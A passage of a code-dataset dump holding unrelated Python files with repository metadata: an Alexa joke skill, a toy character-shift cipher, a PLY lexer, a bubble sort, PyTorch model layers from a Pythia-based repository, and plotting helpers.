atoms are walking down the street. One atom says to the other, “Hey! I think I lost an electron! The other asks, “Are you sure?” “Yes, I’m positive!”\",\n \"I went to the library to get a medical book on abdominal pain. Somebody had torn the appendix out.\",\n \"Why did Shakespeare write with ink? Because he couldn't decide what pencil to use... 2B or not 2B!\",\n \"Want to hear a joke about a balloon? Oh wait, it just got away from me!\",\n \"Did you hear the rumour about butter? Well, I’m not going to spread it!\"\n ]\n\n\nclass LaunchRequestHandler(AbstractRequestHandler):\n \"\"\"Handler for Skill Launch.\"\"\"\n def can_handle(self, handler_input):\n # type: (HandlerInput) -> bool\n\n return ask_utils.is_request_type(\"LaunchRequest\")(handler_input)\n\n def handle(self, handler_input):\n # type: (HandlerInput) -> Response\n speak_output = \"Hey there! I am a Joke Bot. You can ask me to tell you a random Joke that might just make your day better!\"\n\n return (\n handler_input.response_builder\n .speak(speak_output)\n .ask(speak_output)\n .response\n )\n\nclass JokeIntentHandler(AbstractRequestHandler):\n def can_handle(self, handler_input):\n return ask_utils.is_intent_name(\"JokeIntent\")(handler_input)\n\n def handle(self, handler_input):\n speak_output = random.choice(jokes)\n\n return (\n handler_input.response_builder\n .speak(speak_output)\n .ask(speak_output)\n .response\n )\n\n\n\n\n\n\n\nsb = SkillBuilder()\n\nsb.add_request_handler(LaunchRequestHandler())\nsb.add_request_handler(JokeIntentHandler())\n\nhandler = sb.lambda_handler()\n# Make sure IntentReflectorHandler is last so it\n# Doesn't override your custom intent handlers\n\n\n ","repo_name":"avankaminion/joke","sub_path":"joke.py","file_name":"joke.py","file_ext":"py","file_size_in_byte":3341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71629650000","text":"import os\r\n\r\ninputFilename = 'plain.txt'\r\noutputFilename = 'plain.encrypted.txt'\r\n\r\nfileObj = open(inputFilename)\r\ncontent = fileObj.read()\r\nencrypted = \"\"\r\nfor letter in (content):\r\n\tif letter == \" \":\r\n\t\tencrypted += \" \"\r\n\r\n\telse: \r\n\t\tencrypted += chr(ord(letter) + 5)\r\nfileObj.close()\r\n\r\noutputFileObj = open(outputFilename, 'w')\r\noutputFileObj.write(encrypted)\r\noutputFileObj.close()","repo_name":"janenicholson1/Python","sub_path":"encrypt2.py","file_name":"encrypt2.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35817996244","text":"import ply.lex as lex\n\nmotif = (\n 'quadratum',\n 'triangulum',\n 'circulus'\n)\n\ncolor = (\n 'caeruleum',\n 'rufus',\n 'viridis',\n 'nigrum'\n)\n\nreserved_words = (\n\t'ire',\n\t'quia',\n 'gradus',\n 'finis',\n 'initium',\n 'circumactio',\n 'nigrum',\n 'rufus',\n 'caeruleum',\n 'viridis'\n)\n\ntokens = (\n 'NUMBER',\n 'MOTIF',\n 'COLOR'\n) + tuple(map(lambda s:s.upper(),reserved_words)) #+ tuple(map(lambda s:s.upper(),motif))\n\nliterals = ':.<'\n\ndef t_NUMBER(t):\n\tr'\\d+(\\,\\d+)?'\n\ttry:\n\t\tt.value = int(t.value)\n\texcept ValueError:\n\t\tprint (\"Line %d: Problem while parsing %s!\" % (t.lineno,t.value))\n\t\tt.value = 0\n\treturn t\n\n\n\ndef t_EXPRESSION(t):\n r'[A-Za-z_]\\w*'\n if t.value in color:\n t.type = \"COLOR\"\n elif t.value in motif:\n t.type = \"MOTIF\"\n else:\n t.type = t.value.upper()\n return t\n\n\n\n\"\"\"\ndef t_IDENTIFIER(t):\n\tr'[A-Za-z_]\\w*'\n\tif t.value in reserved_words:\n\t\tt.type = t.value.upper()\n\treturn t\n\"\"\"\ndef t_newline(t):\n\tr'\\n+'\n\tt.lexer.lineno += len(t.value)\n\nt_ignore = ' \\t'\n\ndef t_error(t):\n\tprint (\"Illegal character '%s'\" % repr(t.value[0]))\n\tt.lexer.skip(1)\n\nlex.lex()\n\nif __name__ == \"__main__\":\n\timport sys\n\tprog = open(sys.argv[1]).read()\n\n\tlex.input(prog)\n\n\twhile 1:\n\t\ttok = lex.token()\n\t\tif not tok: break\n\t\tprint (\"line %d: %s(%s)\" % (tok.lineno, tok.type, tok.value))\n","repo_name":"kamyh/Turturem","sub_path":"lex_.py","file_name":"lex_.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12702906942","text":"\n\n\ndef bubbleSort(lst):\n isSorted=False\n lastUnsorted=len(lst)-1\n while not isSorted:\n isSorted=True\n for i in range(lastUnsorted):\n if lst[i]>lst[i+1]:\n lst[i],lst[i+1]=lst[i+1],lst[i]\n isSorted=False\n lastUnsorted-=1\n return lst\n\n \n\n\n\nif __name__== '__main__':\n print(bubbleSort([3, 4, 8, 0, 6, 7, 4, 2, 1, 9, 4, 5]))","repo_name":"karthikuncc/PythonPractice","sub_path":"bubbleSort.py","file_name":"bubbleSort.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23532508007","text":"import torch\nfrom torch import nn\nfrom torch.nn.utils.weight_norm import weight_norm\nfrom pythia.common.registry import registry\nfrom pythia.modules.decoders import LanguageDecoder\n\n\nclass ConvNet(nn.Module):\n def __init__(\n self,\n in_channels,\n out_channels,\n kernel_size,\n padding_size=\"same\",\n pool_stride=2,\n batch_norm=True,\n ):\n super().__init__()\n\n if padding_size == \"same\":\n padding_size = kernel_size // 2\n self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, padding=padding_size)\n self.max_pool2d = nn.MaxPool2d(pool_stride, stride=pool_stride)\n self.batch_norm = batch_norm\n\n if self.batch_norm:\n self.batch_norm_2d = nn.BatchNorm2d(out_channels)\n\n def forward(self, x):\n x = self.max_pool2d(nn.functional.leaky_relu(self.conv(x)))\n\n if self.batch_norm:\n x = self.batch_norm_2d(x)\n\n return x\n\n\nclass Flatten(nn.Module):\n def forward(self, input):\n if input.dim() > 1:\n input = input.view(input.size(0), -1)\n\n return input\n\nclass UnFlatten(nn.Module):\n def forward(self, input, sizes=[]):\n return input.view(input.size(0), *sizes)\n\n\nclass GatedTanh(nn.Module):\n \"\"\"\n From: https://arxiv.org/pdf/1707.07998.pdf\n nonlinear_layer (f_a) : x\\in R^m => y \\in R^n\n \\tilda{y} = tanh(Wx + b)\n g = sigmoid(W'x + b')\n y = \\tilda(y) \\circ g\n input: (N, *, in_dim)\n output: (N, *, out_dim)\n \"\"\"\n\n def __init__(self, in_dim, out_dim):\n super(GatedTanh, self).__init__()\n self.fc = nn.Linear(in_dim, out_dim)\n self.gate_fc = nn.Linear(in_dim, out_dim)\n\n def forward(self, x):\n y_tilda = torch.tanh(self.fc(x))\n gated = torch.sigmoid(self.gate_fc(x))\n\n # Element wise multiplication\n y = y_tilda * gated\n\n return y\n\n\n# TODO: Do clean implementation without Sequential\nclass ReLUWithWeightNormFC(nn.Module):\n def __init__(self, in_dim, out_dim):\n super(ReLUWithWeightNormFC, self).__init__()\n\n layers = []\n layers.append(weight_norm(nn.Linear(in_dim, out_dim), dim=None))\n layers.append(nn.ReLU())\n self.layers = nn.Sequential(*layers)\n\n def forward(self, x):\n return self.layers(x)\n\n\nclass ClassifierLayer(nn.Module):\n def __init__(self, classifier_type, in_dim, out_dim, **kwargs):\n super(ClassifierLayer, self).__init__()\n\n if classifier_type == \"weight_norm\":\n self.module = WeightNormClassifier(in_dim, out_dim, **kwargs)\n elif classifier_type == \"logit\":\n self.module = LogitClassifier(in_dim, out_dim, **kwargs)\n elif classifier_type == \"language_decoder\":\n self.module = LanguageDecoder(in_dim, out_dim, **kwargs)\n elif classifier_type == \"linear\":\n self.module = nn.Linear(in_dim, out_dim)\n else:\n raise NotImplementedError(\"Unknown classifier type: %s\" % classifier_type)\n\n def forward(self, *args, **kwargs):\n return self.module(*args, **kwargs)\n\n\nclass LogitClassifier(nn.Module):\n def __init__(self, in_dim, out_dim, **kwargs):\n super(LogitClassifier, self).__init__()\n input_dim = in_dim\n num_ans_candidates = out_dim\n text_non_linear_dim = kwargs[\"text_hidden_dim\"]\n image_non_linear_dim = kwargs[\"img_hidden_dim\"]\n\n self.f_o_text = ReLUWithWeightNormFC(input_dim, text_non_linear_dim)\n self.f_o_image = ReLUWithWeightNormFC(input_dim, image_non_linear_dim)\n self.linear_text = nn.Linear(text_non_linear_dim, num_ans_candidates)\n self.linear_image = nn.Linear(image_non_linear_dim, num_ans_candidates)\n\n if \"pretrained_image\" in kwargs and kwargs[\"pretrained_text\"] is not None:\n self.linear_text.weight.data.copy_(\n torch.from_numpy(kwargs[\"pretrained_text\"])\n )\n\n if \"pretrained_image\" in kwargs and kwargs[\"pretrained_image\"] is not None:\n self.linear_image.weight.data.copy_(\n torch.from_numpy(kwargs[\"pretrained_image\"])\n )\n\n def forward(self, joint_embedding):\n text_val = self.linear_text(self.f_o_text(joint_embedding))\n image_val = self.linear_image(self.f_o_image(joint_embedding))\n logit_value = text_val + image_val\n\n return logit_value\n\n\nclass WeightNormClassifier(nn.Module):\n def __init__(self, in_dim, out_dim, hidden_dim, dropout):\n super(WeightNormClassifier, self).__init__()\n layers = [\n weight_norm(nn.Linear(in_dim, hidden_dim), dim=None),\n nn.ReLU(),\n nn.Dropout(dropout, inplace=True),\n weight_norm(nn.Linear(hidden_dim, out_dim), dim=None),\n ]\n self.main = nn.Sequential(*layers)\n\n def forward(self, x):\n logits = self.main(x)\n return logits\n\n\nclass Identity(nn.Module):\n def __init__(self, **kwargs):\n super(Identity, self).__init__()\n\n def forward(self, x):\n return x\n\n\nclass ModalCombineLayer(nn.Module):\n def __init__(self, combine_type, img_feat_dim, txt_emb_dim, **kwargs):\n super(ModalCombineLayer, self).__init__()\n if combine_type == \"MFH\":\n self.module = MFH(img_feat_dim, txt_emb_dim, **kwargs)\n elif combine_type == \"non_linear_element_multiply\":\n self.module = NonLinearElementMultiply(img_feat_dim, txt_emb_dim, **kwargs)\n elif combine_type == \"two_layer_element_multiply\":\n self.module = TwoLayerElementMultiply(img_feat_dim, txt_emb_dim, **kwargs)\n elif combine_type == \"top_down_attention_lstm\":\n self.module = TopDownAttentionLSTM(img_feat_dim, txt_emb_dim, **kwargs)\n else:\n raise NotImplementedError(\"Not implemented combine type: %s\" % combine_type)\n\n self.out_dim = self.module.out_dim\n\n def forward(self, *args, **kwargs):\n return self.module(*args, **kwargs)\n\n\nclass MfbExpand(nn.Module):\n def __init__(self, img_feat_dim, txt_emb_dim, hidden_dim, dropout):\n super(MfbExpand, self).__init__()\n self.lc_image = nn.Linear(in_features=img_feat_dim, out_features=hidden_dim)\n self.lc_ques = nn.Linear(in_features=txt_emb_dim, out_features=hidden_dim)\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, image_feat, question_embed):\n image1 = self.lc_image(image_feat)\n ques1 = self.lc_ques(question_embed)\n if len(image_feat.data.shape) == 3:\n num_location = image_feat.data.size(1)\n ques1_expand = torch.unsqueeze(ques1, 1).expand(-1, num_location, -1)\n else:\n ques1_expand = ques1\n joint_feature = image1 * ques1_expand\n joint_feature = self.dropout(joint_feature)\n return joint_feature\n\n\nclass MFH(nn.Module):\n def __init__(self, image_feat_dim, ques_emb_dim, **kwargs):\n super(MFH, self).__init__()\n self.mfb_expand_list = nn.ModuleList()\n self.mfb_sqz_list = nn.ModuleList()\n self.relu = nn.ReLU()\n\n hidden_sizes = kwargs[\"hidden_sizes\"]\n self.out_dim = int(sum(hidden_sizes) / kwargs[\"pool_size\"])\n\n self.order = kwargs[\"order\"]\n self.pool_size = kwargs[\"pool_size\"]\n\n for i in range(self.order):\n mfb_exp_i = MfbExpand(\n img_feat_dim=image_feat_dim,\n txt_emb_dim=ques_emb_dim,\n hidden_dim=hidden_sizes[i],\n dropout=kwargs[\"dropout\"],\n )\n self.mfb_expand_list.append(mfb_exp_i)\n self.mfb_sqz_list.append(self.mfb_squeeze)\n\n def forward(self, image_feat, question_embedding):\n feature_list = []\n prev_mfb_exp = 1\n\n for i in range(self.order):\n mfb_exp = self.mfb_expand_list[i]\n mfb_sqz = self.mfb_sqz_list[i]\n z_exp_i = mfb_exp(image_feat, question_embedding)\n if i > 0:\n z_exp_i = prev_mfb_exp * z_exp_i\n prev_mfb_exp = z_exp_i\n z = mfb_sqz(z_exp_i)\n feature_list.append(z)\n\n # append at last feature\n cat_dim = len(feature_list[0].size()) - 1\n feature = torch.cat(feature_list, dim=cat_dim)\n return feature\n\n def mfb_squeeze(self, joint_feature):\n # joint_feature dim: N x k x dim or N x dim\n\n orig_feature_size = len(joint_feature.size())\n\n if orig_feature_size == 2:\n joint_feature = torch.unsqueeze(joint_feature, dim=1)\n\n batch_size, num_loc, dim = joint_feature.size()\n\n if dim % self.pool_size != 0:\n exit(\n \"the dim %d is not multiply of \\\n pool_size %d\"\n % (dim, self.pool_size)\n )\n\n joint_feature_reshape = joint_feature.view(\n batch_size, num_loc, int(dim / self.pool_size), self.pool_size\n )\n\n # N x 100 x 1000 x 1\n iatt_iq_sumpool = torch.sum(joint_feature_reshape, 3)\n\n iatt_iq_sqrt = torch.sqrt(self.relu(iatt_iq_sumpool)) - torch.sqrt(\n self.relu(-iatt_iq_sumpool)\n )\n\n iatt_iq_sqrt = iatt_iq_sqrt.view(batch_size, -1) # N x 100000\n iatt_iq_l2 = nn.functional.normalize(iatt_iq_sqrt)\n iatt_iq_l2 = iatt_iq_l2.view(batch_size, num_loc, int(dim / self.pool_size))\n\n if orig_feature_size == 2:\n iatt_iq_l2 = torch.squeeze(iatt_iq_l2, dim=1)\n\n return iatt_iq_l2\n\n\n# need to handle two situations,\n# first: image (N, K, i_dim), question (N, q_dim);\n# second: image (N, i_dim), question (N, q_dim);\nclass NonLinearElementMultiply(nn.Module):\n def __init__(self, image_feat_dim, ques_emb_dim, **kwargs):\n super(NonLinearElementMultiply, self).__init__()\n self.fa_image = ReLUWithWeightNormFC(image_feat_dim, kwargs[\"hidden_dim\"])\n self.fa_txt = ReLUWithWeightNormFC(ques_emb_dim, kwargs[\"hidden_dim\"])\n\n context_dim = kwargs.get(\"context_dim\", None)\n if context_dim is not None:\n self.fa_context = ReLUWithWeightNormFC(context_dim, kwargs[\"hidden_dim\"])\n\n self.dropout = nn.Dropout(kwargs[\"dropout\"])\n self.out_dim = kwargs[\"hidden_dim\"]\n\n def forward(self, image_feat, question_embedding, context_embedding=None):\n image_fa = self.fa_image(image_feat)\n question_fa = self.fa_txt(question_embedding)\n\n if len(image_feat.size()) == 3:\n question_fa_expand = question_fa.unsqueeze(1)\n else:\n question_fa_expand = question_fa\n\n joint_feature = image_fa * question_fa_expand\n\n if context_embedding is not None:\n context_fa = self.fa_context(context_embedding)\n\n context_text_joint_feaure = context_fa * question_fa_expand\n joint_feature = torch.cat([joint_feature, context_text_joint_feaure], dim=1)\n\n joint_feature = self.dropout(joint_feature)\n\n return joint_feature\n\n\nclass TopDownAttentionLSTM(nn.Module):\n def __init__(self, image_feat_dim, embed_dim, **kwargs):\n super().__init__()\n self.fa_image = weight_norm(nn.Linear(image_feat_dim, kwargs[\"attention_dim\"]))\n self.fa_hidden = weight_norm(\n nn.Linear(kwargs[\"hidden_dim\"], kwargs[\"attention_dim\"])\n )\n self.top_down_lstm = nn.LSTMCell(\n embed_dim + image_feat_dim + kwargs[\"hidden_dim\"],\n kwargs[\"hidden_dim\"],\n bias=True,\n )\n self.relu = nn.ReLU()\n self.dropout = nn.Dropout(kwargs[\"dropout\"])\n self.out_dim = kwargs[\"attention_dim\"]\n\n def forward(self, image_feat, embedding):\n image_feat_mean = image_feat.mean(1)\n\n # Get LSTM state\n state = registry.get(\"{}_lstm_state\".format(image_feat.device))\n h1, c1 = state[\"td_hidden\"]\n h2, c2 = state[\"lm_hidden\"]\n\n h1, c1 = self.top_down_lstm(\n torch.cat([h2, image_feat_mean, embedding], dim=1), (h1, c1)\n )\n\n state[\"td_hidden\"] = (h1, c1)\n\n image_fa = self.fa_image(image_feat)\n hidden_fa = self.fa_hidden(h1)\n\n joint_feature = self.relu(image_fa + hidden_fa.unsqueeze(1))\n joint_feature = self.dropout(joint_feature)\n\n return joint_feature\n\n\nclass TwoLayerElementMultiply(nn.Module):\n def __init__(self, image_feat_dim, ques_emb_dim, **kwargs):\n super(TwoLayerElementMultiply, self).__init__()\n\n self.fa_image1 = ReLUWithWeightNormFC(image_feat_dim, kwargs[\"hidden_dim\"])\n self.fa_image2 = ReLUWithWeightNormFC(\n kwargs[\"hidden_dim\"], kwargs[\"hidden_dim\"]\n )\n self.fa_txt1 = ReLUWithWeightNormFC(ques_emb_dim, kwargs[\"hidden_dim\"])\n self.fa_txt2 = ReLUWithWeightNormFC(kwargs[\"hidden_dim\"], kwargs[\"hidden_dim\"])\n\n self.dropout = nn.Dropout(kwargs[\"dropout\"])\n\n self.out_dim = kwargs[\"hidden_dim\"]\n\n def forward(self, image_feat, question_embedding):\n image_fa = self.fa_image2(self.fa_image1(image_feat))\n question_fa = self.fa_txt2(self.fa_txt1(question_embedding))\n\n if len(image_feat.size()) == 3:\n num_location = image_feat.size(1)\n question_fa_expand = torch.unsqueeze(question_fa, 1).expand(\n -1, num_location, -1\n )\n else:\n question_fa_expand = question_fa\n\n joint_feature = image_fa * question_fa_expand\n joint_feature = self.dropout(joint_feature)\n\n return joint_feature\n\n\nclass TransformLayer(nn.Module):\n def __init__(self, transform_type, in_dim, out_dim, hidden_dim=None):\n super(TransformLayer, self).__init__()\n\n if transform_type == \"linear\":\n self.module = LinearTransform(in_dim, out_dim)\n elif transform_type == \"conv\":\n self.module = ConvTransform(in_dim, out_dim, hidden_dim)\n else:\n raise NotImplementedError(\n \"Unknown post combine transform type: %s\" % transform_type\n )\n self.out_dim = self.module.out_dim\n\n def forward(self, *args, **kwargs):\n return self.module(*args, **kwargs)\n\n\nclass LinearTransform(nn.Module):\n def __init__(self, in_dim, out_dim):\n super(LinearTransform, self).__init__()\n self.lc = weight_norm(\n nn.Linear(in_features=in_dim, out_features=out_dim), dim=None\n )\n self.out_dim = out_dim\n\n def forward(self, x):\n return self.lc(x)\n\n\nclass ConvTransform(nn.Module):\n def __init__(self, in_dim, out_dim, hidden_dim):\n super(ConvTransform, self).__init__()\n self.conv1 = nn.Conv2d(\n in_channels=in_dim, out_channels=hidden_dim, kernel_size=1\n )\n self.conv2 = nn.Conv2d(\n in_channels=hidden_dim, out_channels=out_dim, kernel_size=1\n )\n self.out_dim = out_dim\n\n def forward(self, x):\n if len(x.size()) == 3: # N x k xdim\n # N x dim x k x 1\n x_reshape = torch.unsqueeze(x.permute(0, 2, 1), 3)\n elif len(x.size()) == 2: # N x dim\n # N x dim x 1 x 1\n x_reshape = torch.unsqueeze(torch.unsqueeze(x, 2), 3)\n\n iatt_conv1 = self.conv1(x_reshape) # N x hidden_dim x * x 1\n iatt_relu = nn.functional.relu(iatt_conv1)\n iatt_conv2 = self.conv2(iatt_relu) # N x out_dim x * x 1\n\n if len(x.size()) == 3:\n iatt_conv3 = torch.squeeze(iatt_conv2, 3).permute(0, 2, 1)\n elif len(x.size()) == 2:\n iatt_conv3 = torch.squeeze(torch.squeeze(iatt_conv2, 3), 2)\n\n return iatt_conv3\n\n\nclass BCNet(nn.Module):\n \"\"\"\n Simple class for non-linear bilinear connect network\n \"\"\"\n\n def __init__(self, v_dim, q_dim, h_dim, h_out, act=\"ReLU\", dropout=[0.2, 0.5], k=3):\n super(BCNet, self).__init__()\n\n self.c = 32\n self.k = k\n self.v_dim = v_dim\n self.q_dim = q_dim\n self.h_dim = h_dim\n self.h_out = h_out\n\n self.v_net = FCNet([v_dim, h_dim * self.k], act=act, dropout=dropout[0])\n self.q_net = FCNet([q_dim, h_dim * self.k], act=act, dropout=dropout[0])\n self.dropout = nn.Dropout(dropout[1])\n\n if k > 1:\n self.p_net = nn.AvgPool1d(self.k, stride=self.k)\n\n if h_out is None:\n pass\n\n elif h_out <= self.c:\n self.h_mat = nn.Parameter(\n torch.Tensor(1, h_out, 1, h_dim * self.k).normal_()\n )\n self.h_bias = nn.Parameter(torch.Tensor(1, h_out, 1, 1).normal_())\n else:\n self.h_net = weight_norm(nn.Linear(h_dim * self.k, h_out), dim=None)\n\n def forward(self, v, q):\n if self.h_out is None:\n v_ = self.v_net(v).transpose(1, 2).unsqueeze(3)\n q_ = self.q_net(q).transpose(1, 2).unsqueeze(2)\n d_ = torch.matmul(v_, q_)\n logits = d_.transpose(1, 2).transpose(2, 3)\n return logits\n\n # broadcast Hadamard product, matrix-matrix production\n # fast computation but memory inefficient\n elif self.h_out <= self.c:\n v_ = self.dropout(self.v_net(v)).unsqueeze(1)\n q_ = self.q_net(q)\n h_ = v_ * self.h_mat\n logits = torch.matmul(h_, q_.unsqueeze(1).transpose(2, 3))\n logits = logits + self.h_bias\n return logits\n\n # batch outer product, linear projection\n # memory efficient but slow computation\n else:\n v_ = self.dropout(self.v_net(v)).transpose(1, 2).unsqueeze(3)\n q_ = self.q_net(q).transpose(1, 2).unsqueeze(2)\n d_ = torch.matmul(v_, q_)\n logits = self.h_net(d_.transpose(1, 2).transpose(2, 3))\n return logits.transpose(2, 3).transpose(1, 2)\n\n def forward_with_weights(self, v, q, w):\n v_ = self.v_net(v).transpose(1, 2).unsqueeze(2)\n q_ = self.q_net(q).transpose(1, 2).unsqueeze(3)\n logits = torch.matmul(torch.matmul(v_, w.unsqueeze(1)), q_)\n logits = logits.squeeze(3).squeeze(2)\n\n if self.k > 1:\n logits = logits.unsqueeze(1)\n logits = self.p_net(logits).squeeze(1) * self.k\n\n return logits\n\n\nclass FCNet(nn.Module):\n \"\"\"\n Simple class for non-linear fully connect network\n \"\"\"\n\n def __init__(self, dims, act=\"ReLU\", dropout=0):\n super(FCNet, self).__init__()\n\n layers = []\n for i in range(len(dims) - 2):\n in_dim = dims[i]\n out_dim = dims[i + 1]\n\n if dropout > 0:\n layers.append(nn.Dropout(dropout))\n\n layers.append(weight_norm(nn.Linear(in_dim, out_dim), dim=None))\n\n if act is not None:\n layers.append(getattr(nn, act)())\n\n if dropout > 0:\n layers.append(nn.Dropout(dropout))\n\n layers.append(weight_norm(nn.Linear(dims[-2], dims[-1]), dim=None))\n\n if act is not None:\n layers.append(getattr(nn, act)())\n\n self.main = nn.Sequential(*layers)\n\n def forward(self, x):\n return self.main(x)\n\n\nclass BiAttention(nn.Module):\n def __init__(self, x_dim, y_dim, z_dim, glimpse, dropout=[0.2, 0.5]):\n super(BiAttention, self).__init__()\n\n self.glimpse = glimpse\n self.logits = weight_norm(\n BCNet(x_dim, y_dim, z_dim, glimpse, dropout=dropout, k=3),\n name=\"h_mat\",\n dim=None,\n )\n\n def forward(self, v, q, v_mask=True):\n p, logits = self.forward_all(v, q, v_mask)\n return p, logits\n\n def forward_all(self, v, q, v_mask=True):\n v_num = v.size(1)\n q_num = q.size(1)\n logits = self.logits(v, q)\n\n if v_mask:\n v_abs_sum = v.abs().sum(2)\n mask = (v_abs_sum == 0).unsqueeze(1).unsqueeze(3)\n mask = mask.expand(logits.size())\n logits.masked_fill_(mask, -float(\"inf\"))\n\n expanded_logits = logits.view(-1, self.glimpse, v_num * q_num)\n p = nn.functional.softmax(expanded_logits, 2)\n\n return p.view(-1, self.glimpse, v_num, q_num), logits\n","repo_name":"microsoft/TAP","sub_path":"pythia/modules/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":19982,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"3"} +{"seq_id":"10730862563","text":"import torch\nfrom torch.utils.data import Dataset\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\n\nfrom .utils import CustomNumpyDataset, CustomImageFolderDataset\n\n\ndef plot_data_sample(x_batch: torch.tensor, y_batch: torch.tensor, class_label_to_y_class: dict, n_rows: int, n_cols: int, title: str = None, figsize: tuple = (15, 12)):\n fig, ax = plt.subplots(nrows=n_rows, ncols=n_cols, figsize=figsize)\n y_class_to_class_label = {value: key for key, value in class_label_to_y_class.items()}\n idx = 0\n\n for i in range(n_rows):\n for j in range(n_cols):\n image = torch.swapaxes(x_batch[idx], 0, 1)\n image = torch.swapaxes(image, 1, 2)\n \n if image.shape[2] == 3:\n ax[i, j].imshow(((image + 1) * 127.5).int())\n elif image.shape[2] == 1:\n ax[i, j].imshow(((image + 1) * 127.5).int(), cmap=\"gray\", vmin=0, vmax=255)\n else:\n raise ValueError(\"Invalid color mode!\")\n\n ax[i, j].set_title(f\"{y_class_to_class_label[y_batch[idx].item()]}\", fontsize=18)\n ax[i, j].axis(\"off\")\n idx += 1\n\n plt.tight_layout() \n if title: plt.suptitle(title, fontsize=21)\n plt.show()\n\n\ndef print_class_distribution(y_classes_counts: np.ndarray, class_label_to_y_class: dict):\n sorted_class_labels = [key for key, value in sorted(class_label_to_y_class.items(), key=lambda item: item[1])]\n print(\"Class distribution:\")\n\n for class_label in sorted_class_labels:\n y_class = class_label_to_y_class[class_label]\n print(f\"{class_label} ({y_class}): {y_classes_counts[y_class]}\")\n \n print(f\"Sum: {np.sum(y_classes_counts)}\")\n\n\ndef plot_class_distribution(data_set: Dataset, x_label: str, y_label: str, figsize: tuple, indices: np.ndarray = None):\n if isinstance(indices, np.ndarray):\n if isinstance(data_set, CustomNumpyDataset):\n temp_data_set = CustomNumpyDataset(data_set.data[indices], data_set.targets[indices], data_set.transform, data_set.class_label_to_y_class)\n elif isinstance(data_set, CustomImageFolderDataset):\n temp_data_set = CustomImageFolderDataset(data_set.data[indices], data_set.targets[indices], data_set.transform, data_set.class_label_to_y_class)\n else:\n raise TypeError(\"Invalid dataset type!\") \n else:\n temp_data_set = data_set\n\n sorted_class_labels = [key for key, value in sorted(temp_data_set.class_label_to_y_class.items(), key=lambda item: item[1])]\n y_classes, y_classes_counts = np.unique(temp_data_set.targets, return_counts=True) \n total_y_classes_counts = np.zeros(len(temp_data_set.class_label_to_y_class), dtype=np.uint64)\n total_y_classes_counts[y_classes] = total_y_classes_counts[y_classes] + y_classes_counts\n print_class_distribution(total_y_classes_counts, temp_data_set.class_label_to_y_class)\n\n fig, ax = plt.subplots(figsize=figsize)\n ax.bar(sorted_class_labels, total_y_classes_counts)\n plt.xlabel(x_label)\n plt.ylabel(y_label)\n\n\ndef plot_results(results: list, title: str, x_label: str, y_label: str, legend: str):\n plt.plot(results)\n plt.title(title)\n plt.xlabel(x_label)\n plt.ylabel(y_label)\n plt.legend([legend], loc=\"lower right\")\n # plt.savefig(\"image\", bbox_inches=\"tight\")\n plt.show()\n\n\ndef plot_losses(train_losses: list, val_losses: list, x_label: str, y_label: str, legend: list, title: str = ''):\n plt.plot(train_losses)\n plt.plot(val_losses)\n plt.title(title)\n plt.xticks(fontsize=14)\n plt.yticks(fontsize=14)\n plt.xlabel(x_label, fontsize=15)\n plt.ylabel(y_label, fontsize=15)\n plt.legend(legend, loc=\"best\", fontsize=14)\n # plt.savefig(\"image\", bbox_inches=\"tight\")\n plt.show()\n\n\ndef plot_accuracies(train_accuracies: list, val_accuracies: list, x_label: str, y_label: str, legend: list, title: str = ''):\n plt.plot(train_accuracies)\n plt.plot(val_accuracies)\n plt.title(title)\n plt.xticks(fontsize=14)\n plt.yticks(fontsize=14)\n plt.xlabel(x_label, fontsize=15)\n plt.ylabel(y_label, fontsize=15)\n plt.legend(legend, loc=\"lower right\", fontsize=14)\n # plt.savefig(\"image\", bbox_inches=\"tight\")\n plt.show()\n\n\ndef plot_matrix(matrix: np.ndarray, x_ticklabels, y_ticklabels, x_label: str, y_label: str, figsize: tuple):\n group_counts = [\"{0:0.0f}\".format(value) for value in matrix.flatten()]\n group_percentages = [\"{0:.2%}\".format(value) for value in matrix.flatten() / np.sum(matrix)]\n labels = [f\"{count}\\n{percentage}\" for count, percentage in zip(group_counts, group_percentages)]\n labels = np.asarray(labels).reshape(matrix.shape)\n\n fig, ax = plt.subplots(figsize=figsize)\n ax = sns.heatmap(matrix, annot=labels, xticklabels=x_ticklabels, yticklabels=y_ticklabels, fmt=\"\", cmap=\"Greens\")\n ax.set_xlabel(x_label, fontsize=13)\n ax.set_ylabel(y_label, fontsize=13)\n # plt.savefig('image', bbox_inches='tight')\n plt.show()\n\n\ndef plot_wrong_predictions(data_set, y_true_errors: np.ndarray, y_pred_errors: np.ndarray, data_set_indices_errors: np.ndarray, seed: int, n_rows: int, n_cols: int, figsize: tuple):\n assert len(y_true_errors) == len(y_pred_errors) == len(data_set_indices_errors)\n if len(y_true_errors) == 0:\n print(\"Number of wrong predictions: 0\")\n return\n \n np.random.seed(seed)\n y_class_to_class_label = {value: key for key, value in data_set.class_label_to_y_class.items()}\n fig, ax = plt.subplots(nrows=n_rows, ncols=n_cols, figsize=figsize)\n ax = ax.flatten()\n num_wrong_samples = len(ax) if len(ax) <= len(y_true_errors) else len(y_true_errors)\n errors_indices = np.random.permutation(num_wrong_samples)\n\n for i in range(num_wrong_samples):\n error_index = errors_indices[i]\n y_true_class = y_true_errors[error_index]\n y_pred_class = y_pred_errors[error_index]\n image_index = data_set_indices_errors[error_index]\n image, y_class, image_index_2 = data_set[image_index]\n assert y_class.item() == y_true_class\n assert image_index_2.item() == image_index\n\n image = torch.swapaxes(image, 0, 1)\n image = torch.swapaxes(image, 1, 2)\n\n if image.shape[2] == 3:\n ax[i].imshow(((image + 1) * 127.5).int())\n elif image.shape[2] == 1:\n ax[i].imshow(((image + 1) * 127.5).int(), cmap=\"gray\", vmin=0, vmax=255)\n else:\n raise ValueError(\"Invalid color mode!\")\n\n if isinstance(data_set, CustomNumpyDataset):\n ax[i].set_title(f\"True: {y_class_to_class_label[y_true_class]} ({y_true_class})\\n\"\n 